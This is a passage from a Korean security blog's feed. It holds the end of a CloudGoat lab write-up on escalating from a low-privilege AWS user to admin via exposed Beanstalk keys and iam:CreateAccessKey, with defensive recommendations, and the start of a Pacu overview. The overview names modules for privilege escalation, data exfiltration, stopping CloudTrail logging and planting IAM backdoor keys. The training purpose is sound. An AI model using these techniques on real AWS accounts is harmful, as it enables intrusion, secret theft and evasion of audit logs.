&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 낮은 권한의 유저로 시작해서 &lt;b data-index-in-node=&quot;16&quot; data-path-to-node=&quot;5&quot;&gt;Elastic Beanstalk의 설정 오류&lt;/b&gt;를 파고들고, &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;5&quot;&gt;IAM 권한 상승&lt;/b&gt;을 거쳐 &lt;b data-index-in-node=&quot;62&quot; data-path-to-node=&quot;5&quot;&gt;관리자&lt;/b&gt;가 된 후, 결국 &lt;b data-index-in-node=&quot;75&quot; data-path-to-node=&quot;5&quot;&gt;Secrets Manager&lt;/b&gt;까지 탈취하는 공격 시나리오를 완수했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 실습 종료 및 리소스 삭제 ]&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;생성한 리소스들을 지우지 않으면 비용이 발생하므로&amp;nbsp;실습이 끝난 후&amp;nbsp;&lt;/span&gt;리소스를 지우면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773119953034&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cloudgoat destroy beanstalk_secrets&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h3 data-path-to-node=&quot;4&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4&quot;&gt;취약점 분석 (Vulnerability Analysis)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 시나리오에서 발생한 보안 사고의 핵심 원인은 &lt;b data-index-in-node=&quot;28&quot; data-path-to-node=&quot;4&quot;&gt;설정 오류를 통한 자격 증명 노출&lt;/b&gt;과 &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;4&quot;&gt;IAM 권한 관리 미흡&lt;/b&gt;의 결합이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;환경 변수 내 민감 정보 노출:&lt;/b&gt; Elastic Beanstalk 설정(Environment Variables)에 SECONDARY_ACCESS_KEY를 평문으로 포함했습니다. 이는 공격자가 설정 조회 권한만 가져도 시스템의 다음 단계로 진입할 수 있는 경로를 넘겨주는 결과를 초래했다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;과도한 IAM 권한 부여:&lt;/b&gt; 보조 계정(secondary_user)에 iam:CreateAccessKey 권한이 부여되어 있었으며, 대상(Resource)이 *(모든 사용자)로 설정되어 있었다. 이는 외부인이 관리자 계정의 새로운 키를 마음대로 발급받아 제어권을 탈취할 수 있는 결정적인 취약점이 되었다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,0&quot;&gt;정찰 방어 인증 미흡:&lt;/b&gt; iam:ListUsers 권한이 열려 있어, 공격자가 어떤 계정을 타겟으로 삼아 키를 생성할지(Admin 계정 식별) 손쉽게 파악할 수 있었다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;대응 방안&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4&quot;&gt;최소 권한 원칙(Least Privilege) 엄격 준수&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;사용자에게 필요한 최소한의 권한만 부여하며, 특히 타인의 액세스 키를 생성하거나 활성화할 수 있는 &lt;b data-index-in-node=&quot;55&quot; data-path-to-node=&quot;5,0,0&quot;&gt;iam:CreateAccessKey&lt;/b&gt; 권한은 관리자 외에는 엄격히 제한해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;키 관리 권한이 불가피하게 필요한 경우, Resource 조건을 활용하여 &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;5,1,0&quot;&gt;자신의 액세스 키(${aws:username})만&lt;/b&gt; 제어할 수 있도록 정책 범위를 한정해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;위험한 권한 조합 및 환경 변수 관리 강화&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Elastic Beanstalk과 같은 서비스 설정 시, API Key나 자격 증명을 환경 변수에 평문으로 노출하지 않도록 주의해야 한다. 민감 정보는 &lt;b data-index-in-node=&quot;85&quot; data-path-to-node=&quot;7,0,0&quot;&gt;AWS Secrets Manager&lt;/b&gt;나 &lt;b data-index-in-node=&quot;106&quot; data-path-to-node=&quot;7,0,0&quot;&gt;Parameter Store&lt;/b&gt;를 통해 관리하고 IAM Role을 통해 호출하는 방식을 지향해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;권한 상승의 징검다리가 될 수 있는 특정 API 권한들의 조합(설정 조회 + 키 생성 + 시크릿 접근)이 단일 사용자에게 몰리지 않도록 직무 분리를 실시해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;중요 보안 이벤트에 대한 모니터링 및 알림 강화&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;관리자급 계정에서 새로운 액세스 키가 생성되거나 환경 설정이 변경되는 것과 같이 보안에 직접적인 영향을 주는 API 호출이 발생할 경우, &lt;b data-index-in-node=&quot;77&quot; data-path-to-node=&quot;9,0,0&quot;&gt;CloudWatch Alarms&lt;/b&gt;나 &lt;b data-index-in-node=&quot;96&quot; data-path-to-node=&quot;9,0,0&quot;&gt;SNS 알림&lt;/b&gt;을 통해 관리자가 즉각 인지할 수 있는 체계를 갖춰야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;Amazon GuardDuty&lt;/b&gt;를 활용하여 비정상적인 위치나 환경에서 관리자 권한을 행사하려는 패턴을 실시간으로 감시해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;정기적인 IAM 감사 및 자격 증명 관리&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;AWS Config&lt;/b&gt; 또는 &lt;b data-index-in-node=&quot;14&quot; data-path-to-node=&quot;11,0,0&quot;&gt;IAM Access Analyzer&lt;/b&gt;와 같은 도구를 활용하여 과도한 권한(Resource: *)이 부여된 정책이나 오랫동안 사용되지 않은 액세스 키가 있는지 정기적으로 감사해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실습에서 노출된 액세스 키와 같은 자격 증명은 즉시 무효화하고, 정기적으로 키를 Rotation 시켜 유출 시 발생할 수 있는 피해를 최소화해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AWS/CloudGoat</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/42</guid>
      <comments>https://chon29.tistory.com/42#entry42comment</comments>
      <pubDate>Tue, 10 Mar 2026 21:14:22 +0900</pubDate>
    </item>
    <item>
      <title>[ CloudGoat ] Pacu</title>
      <link>https://chon29.tistory.com/40</link>
      <description>&lt;h2 id=&quot;toc-link-1&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; &lt;b&gt;Pacu&lt;/b&gt; 란?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;b&gt;Pacu&lt;/b&gt;는&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt; AWS 환경에서 취약점을 찾고, 권한을 상승시키고, 데이터를 탈취하는 모든 과정을 자동화해주는 &lt;b data-index-in-node=&quot;134&quot; data-path-to-node=&quot;3&quot;&gt;오픈소스 침투 테스트 프레임워크&lt;/b&gt;다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start; font-family: 'Nanum Gothic';&quot;&gt;침투 테스터가 AWS 계정의 구성 취약점을 악용할 수 있도록 지원하며, 모듈을 사용하여 기능을 쉽게 확장할 수 있다. 현재 제공되는 모듈은 사용자 권한 상승, IAM 사용자 백도어 설치, 취약한 Lambda 함수 공격 등 다양한 공격을 가능하게 한다. &lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Github 링크&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1773032583954&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services enviro&quot; data-og-description=&quot;The AWS exploitation framework, designed for testing the security of Amazon Web Services environments. - RhinoSecurityLabs/pacu&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/RhinoSecurityLabs/pacu&quot; data-og-url=&quot;https://github.com/RhinoSecurityLabs/pacu&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cKgs72/dJMb85vM2xe/dxkAnkgBuu8qMkXzakiJQk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cnpwa6/dJMb84XWQmd/IlIduGb4BXPwJin5RjJXvK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/RhinoSecurityLabs/pacu&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/RhinoSecurityLabs/pacu&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cKgs72/dJMb85vM2xe/dxkAnkgBuu8qMkXzakiJQk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cnpwa6/dJMb84XWQmd/IlIduGb4BXPwJin5RjJXvK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services enviro&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The AWS exploitation framework, designed for testing the security of Amazon Web Services environments. - RhinoSecurityLabs/pacu&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치 및 기본 사용 가이드는 Github에서 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; Pacu의 주요 기능 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;1. 정찰 (Reconnaissance)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;b&gt;정찰 단계&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;는 모든 후속 공격 활동의 기반을 구축한다. Pacu의 열거 모듈은 최적화된 API 사용을 통해 탐지 위험을 최소화하면서 AWS 환경에 대한 포괄적인 가시성을 제공한다.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;iam __enum_permissions &lt;/span&gt; : 자격 증명에 연결된 정책을 분석하여 실제 실행 가능한 API 액션 권한을 도출한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;iam __ bruteforce_permissions&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp;:&lt;/span&gt; 정책 문서에 명시되지 않았으나 실제 호출 가능한 API 권한을 전수 조사하여 숨겨진 권한을 파악한다. &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;ec2__enum / s3__enum &lt;/span&gt; : VPC 네트워크 구조, 보안 그룹 설정 및 S3 버킷의 접근 통제 정책을 스캔하여 인프라 맵을 구축한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;aws__enum_account&lt;/span&gt;: 조직 단위(OU) 정보 및 계정 세부 설정을 확인하여 공격 범위를 결정한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;6&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;권한 상승 (Privilege Escalation)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;현재 보유한 제한적인 권한을 악용하여 상위 권한(Administrator)을 획득하는 단계&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;iam__privesc_scan&lt;/span&gt;&amp;nbsp;모듈은 IAM 정책의 구성 오류를 찾아내어 이를 공격 경로로 활용한다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;권한 상속 기법&lt;/b&gt;: 특정 역할(Role)을 신뢰 관계가 설정된 EC2 인스턴스에 할당한 뒤, 메타데이터 서비스를 통해 해당 역할을 탈취하는 메커니즘을 사용한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;정책 버전 조작&lt;/b&gt;: 새 정책 버전을 생성하거나 기존 인라인 정책을 수정하여 공격자에게 더 높은 수준의 권한을 부여하는 방식을 자동화한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;10&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;3. 데이터 탈취 (Exfiltration)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-path-to-node=&quot;14&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;식별된 민감 정보를 외부 인프라로 이동시키는 단계&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;14&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Pacu는 탐지를 피하기 위해 필요한 데이터만 선별적으로 추출하는 기능을 제공합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,0&quot;&gt;객체 필터링 유출&lt;/b&gt;: &lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;s3__download_bucket&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;모듈을 통해 버킷 내 중요 키워드가 포함된 객체만 선별하여 전송한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;lambda__download_source&lt;/span&gt;: 모든 Lambda 함수의 소스 코드를 로컬로 다운로드하여 내부 로직 및 하드코딩된 기밀 정보를 분석한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;ec2__download_userdata&lt;/span&gt;: EC2 인스턴스 생성 시 입력된 사용자 데이터를 확인하여 스크립트 내 평문 비밀번호나 설정값을 탈취한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,1,0&quot;&gt;구성 정보 평문 추출&lt;/b&gt;: Secrets Manager 및 Parameter Store를 전수 조사하여 암호화되지 않은 자격 증명과 환경 변수를 수집한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,2,0&quot;&gt;스냅샷 외부 공유&lt;/b&gt;: EBS 또는 RDS의 스냅샷을 생성한 후, 이를 공격자가 통제하는 외부 AWS 계정으로 공유하여 데이터를 원격으로 복제한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-path-to-node=&quot;14&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;15&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15&quot;&gt;4. 탐지 회피 및 지속성 유지&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;공격 성공 후 보안 관제 시스템(SIEM/IDS)의 추적을 따돌리고 재진입 경로를 확보하는 최종 단계&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;19&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,0,0&quot;&gt;로깅 무력화&lt;/b&gt;: &lt;span style=&quot;background-color: #efefef; color: #eb5757; text-align: left;&quot;&gt;cloudtrail__stop_logging&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;을 통해 활동 기록 생성을 중단하거나, 로그 보존 설정을 변경하여 침해 사고 분석을 방해합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,1,0&quot;&gt;탐지 예외 설정&lt;/b&gt;: GuardDuty 등의 보안 서비스에 특정 IP를 화이트리스트로 등록하여 비정상 행위 탐지 알람을 차단합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,2,0&quot;&gt;백도어 구축&lt;/b&gt;: 기존 IAM 사용자 계정에 별도의 Access Key를 추가 생성하거나 신뢰 관계를 조작하여, 원래의 자격 증명이 삭제되더라도 접근 권한을 유지하도록 설계합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9&quot;&gt;Pacu 기본 사용법&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Pacu는 독자적인 터미널 환경을 가지고 있다. 실행하면 pacu &amp;gt; 라는 프롬프트가 뜬다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;① 세션 생성 및 키 등록&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Pacu는 '세션' 단위로 정보를 저장한다. 프로젝트별로 관리하기 편하다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjkxOSR-JGTAxUAAAAAHQAAAAAQhAQ&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# 세션 생성
set_session [세션명]

# 공격할 대상의 Access Key 등록
set_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14&quot;&gt;② 모듈 탐색 및 선택&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Pacu는 '모듈'이라는 단위로 기능을 실행한다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjkxOSR-JGTAxUAAAAAHQAAAAAQhQQ&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 사용 가능한 모든 모듈 리스트 보기
list

# 특정 키워드로 모듈 검색
search [키워드]

#예시 
search sns&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;17&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;17&quot;&gt;③ 모듈 실행&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;모듈을 실행할 때는 run [모듈명]을 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjkxOSR-JGTAxUAAAAAHQAAAAAQhgQ&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
